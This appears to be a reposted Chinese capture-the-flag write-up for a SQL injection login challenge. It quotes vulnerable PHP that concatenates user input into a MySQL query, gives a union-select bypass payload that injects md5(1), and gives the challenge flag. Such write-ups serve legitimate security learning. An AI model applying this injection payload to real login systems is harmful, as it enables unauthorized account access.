SQL注入2

注入第二题~~主要考察union查询

看来跟union联合查询有关

Secure Web Login II



Logged in! Key: ntcf{**************} 
";
  }
  else {
    echo("
Log in failure!
");
  }
}
?>








Source

strcasecmp（）用忽略大小写比较字符串.

$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) 观察发现只要让结果集中有你输入密码的MD5值就行
union select md5(1)# & pass=1
flag: ntcf{union_select_is_wtf}

转载于:https://www.cnblogs.com/maodun/p/6918102.html